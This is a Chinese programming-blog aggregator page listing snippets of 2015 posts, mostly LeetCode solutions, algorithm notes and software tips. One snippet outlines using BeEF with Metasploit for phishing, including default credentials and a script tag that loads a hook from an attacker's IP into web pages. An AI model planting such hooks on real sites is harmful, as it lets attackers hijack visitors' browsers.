首页 > 其他
LeetCode – Refresh – Add Two Numbers
Same with add binary. You can also skip delete the result pointer. But just return result->next. Depends on the interviewer. 1 /** 2 * Definition for....
分类:其他   时间:2015-03-18 07:46:19    收藏:0  评论:0  赞:0  阅读:259
LeetCode – Refresh – Best Time to Buy and Sell Stock iii
III is a kind of I. But it require 2 maximum value. So scan from begin and scan from end to record the maximum value for currrent index.Then scan the ...
分类:其他   时间:2015-03-18 07:46:09    收藏:0  评论:0  赞:0  阅读:301
26850: 收集数码晶体 有40%错误
http://arena.acmclub.com/problem.php?id=26850数码世界的国王Shoutmon想要在n个小岛上举办一个游戏,来让数码宝贝们好好玩耍。背景是这样的:在这n个小岛之间事先安放了一些单向通道,每个通道连接两个不同的小岛,且只能按一个给定的方向通过。数码宝贝每次由通...
分类:其他   时间:2015-03-18 07:45:49    收藏:0  评论:0  赞:0  阅读:388
LeetCode – Refresh – 4sum
To be honest, I dont like this problem. This is just an extra layer loop for 3sum. But two mistakes I had made…..1. when skip j, use condition j > i+1...
分类:其他   时间:2015-03-18 07:45:39    收藏:0  评论:0  赞:0  阅读:256
LeetCode – Refresh – Best Time to Buy and Sell Stock
1 class Solution { 2 public: 3 int maxProfit(vector &prices) { 4 if (prices.size() < 2) return 0; 5 int len = prices.size(), resu...
分类:其他   时间:2015-03-18 07:45:29    收藏:0  评论:0  赞:0  阅读:198
cf 295 div 2 B (bfs)
题意:给出 n、m 两数,可以对 n 进行两种操作 减一或者乘二,操作过程中 n 必须保证非负,问使 n 变为 m 至少需要几步操作。这是我练水题的时候做到的,题目不难,只是我 bfs 一直没怎么用过比较不熟练,RE 了两发,就整理了这题。首先,若 n==m ,那么步骤数就是 0 ,而若 n > m...
分类:其他   时间:2015-03-18 07:44:59    收藏:0  评论:0  赞:0  阅读:270
LeetCode – Refresh – Binary Tree Inorder Traversal
There are three methods to do it:1. recursive(use memory stack): (Time O(n), Space O(logn) 1 /** 2 * Definition for binary tree 3 * struct TreeNode .....
分类:其他   时间:2015-03-18 07:44:49    收藏:0  评论:0  赞:0  阅读:245
LeetCode – Refresh – 3sum
For this problem, do not forget to skip the duplicates for i. Usually I will do duplication removal for j and k.Tag it. 1 class Solution { 2 public: 3...
分类:其他   时间:2015-03-18 07:44:39    收藏:0  评论:0  赞:0  阅读:283
UVa 10780 (质因数分解) Again Prime? No Time.
求mk整除n!,求k的最大值。现将m分解质因数,比如对于素数p1分解出来的指数为k1,那么n!中能分解出多少个p1出来呢?考虑10!中2的个数c:1~10中有10/2个数是2的倍数,c += 5;1~10中有10/4个数是4的倍数,所以c += 2,其中有10/8 = 1个数是8的倍数,所以c +=...
分类:其他   时间:2015-03-18 07:44:29    收藏:0  评论:0  赞:0  阅读:217
【树链剖分】【线段树】bzoj3626 [LNOI2014]LCA
引用题解:http://blog.csdn.net/popoqqq/article/details/38823457题目大意:给出一个n个节点的有根树(编号为0到n-1,根节点为0)。一个点的深度定义为这个节点到根的距离+1。设dep[i]表示点i的深度,LCA(i,j)表示i与j的最近公共祖先。有...
分类:其他   时间:2015-03-18 07:44:19    收藏:0  评论:0  赞:0  阅读:304
佛祖保佑,永无BUG
佛祖保佑,永无BUG: // //???????????????????????_oo0oo_ //??????????????????????o8888888o //??????????????????????88"?.?"88 //?...
分类:其他   时间:2015-03-18 06:43:00    收藏:0  评论:0  赞:0  阅读:270
beef结合msf钓鱼
Kalilinux系统默认未安装beef,需要自行安装12apt-getupdateapt-getinstallbeef-xss启动/usr/share/beef-xss12cd/usr/share/beef-xss./beef账号密码127.0.0.1:3000/ui/pannelbeef/beef嵌入代码<scriptsrc="Ip:3000/hook.js">与Metasploit联动Beef配置文件/usr/share/bee..
分类:其他   时间:2015-03-18 06:41:20    收藏:0  评论:0  赞:0  阅读:350
Microsoft Office Word软件常遇到的问题
问题:当打开word时,提示让“安全模式”才能启动或者提示“MicrosoftOfficeWord遇到问题需要关闭”。解决:我们不需要通过安全模式启动,原因是Normal.dot文档出问题了,只要删除默认“C:\Users\Administrator\AppData\Roaming\Microsoft\Templates\Normal.dot”,即解决此问题..
分类:其他   时间:2015-03-18 06:40:20    收藏:0  评论:0  赞:0  阅读:354
黑马程序员__抽象类与接口的区别
------Java培训期待与您交流!-------在Java语言中,abstractclass和interface是支持抽象类定义的两种机制。正是由于这两种机制的存在,才赋予了Java强大的面向对象能力。理解抽象类abstractclass和interface在Java语言中都是用来进行抽象类定义的,那么什么是抽象类,使用抽..
分类:其他   时间:2015-03-18 06:40:10    收藏:0  评论:0  赞:0  阅读:189
adobe audition cc2014
“adobeauditioncc2014制作伴奏”这四个字我在网上查了半个月了,但还是没查着解决方法,于是,我便自己琢磨做了做。准备:adobeauditioncc2014,歌曲(最好是无损格式)。1.打开adobeauditioncc20142.插入歌曲,以《空城》为例,我使用的是Monkey`sAudio(.ape)格式3.菜单栏-..
分类:其他   时间:2015-03-18 06:40:00    收藏:0  评论:0  赞:0  阅读:419
ugui使用代码动态添加Button.OnClick()事件
usingUnityEngine;usingUnityEngine.UI;usingSystem.Collections;usingUnityEngine.Events;usingSystem.Collections.Generic;publicclassPersonalInformation:MonoBehaviour{voidStart(){List<string>BtnsName=newList<string>();BtnsName.Add("Text11(Clone)");fo..
分类:其他   时间:2015-03-18 06:39:00    收藏:0  评论:0  赞:0  阅读:499
如果忘记思科路由器的特权密码,怎样在不损坏配置文件的前提下修改密码
第一步:假设我们忘记了特权模式的密码我们需要对思科路由器断电重启,如图所示:在重新启动的过程中我们必须在重启完成之前输入ctril+c或者是ctril+break进入ROM模式。第二步:我们要输入rommon1>confreg0x2142忽略NARAM中的配置文件。第三步:输入rommon2>reset重启系..
分类:其他   时间:2015-03-18 06:38:30    收藏:0  评论:0  赞:0  阅读:571
路漫漫吾将上下而求索
高手前路多艰,须有耐心和毅力,从一开始就有规划1、耐心练内功,深入了解基层架构和基础原理,比如操作系统结构,CPU运行机制,汇编,编译原理,数据结构,数据库等2、思路决定高度:透过表面看本质,抓根本的根本,开放的思维,全局的思维3、设计的模块化,独立,分开的模块..
分类:其他   时间:2015-03-18 06:38:10    收藏:0  评论:0  赞:0  阅读:256
Journal - 高级架构 Opencart 主题模板 ABC-0016-01
JOURNAL-高级架构OPENCART主题模板ABC-0016-01THEMEFEATURESBLOGMANAGERREADYEnjoypowerfulbloggingrightfromwithinyourstore.ThispopularmoduleisnowcompatiblewithJournalandallitsextraskins.BlogManagerissoldseparatelyhere.MULTIPLE-LEVELMENUSFinally,aflexiblecategory..
分类:其他   时间:2015-03-18 06:37:50    收藏:0  评论:0  赞:0  阅读:374
设备配置路由恢复出厂及修改特权密码
一、路由器恢复出厂设置Router>enRouter#configConfiguringfromterminal,memory,ornetwork[terminal]?Enterconfigurationcommands,oneperline.EndwithCNTL/Z.Router(config)#Router(config)#interfacef0/0Router(config-if)#Router(config-if)#ipaddress192.168.1.1255.255...
分类:其他   时间:2015-03-18 06:37:30    收藏:0  评论:0  赞:0  阅读:397
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!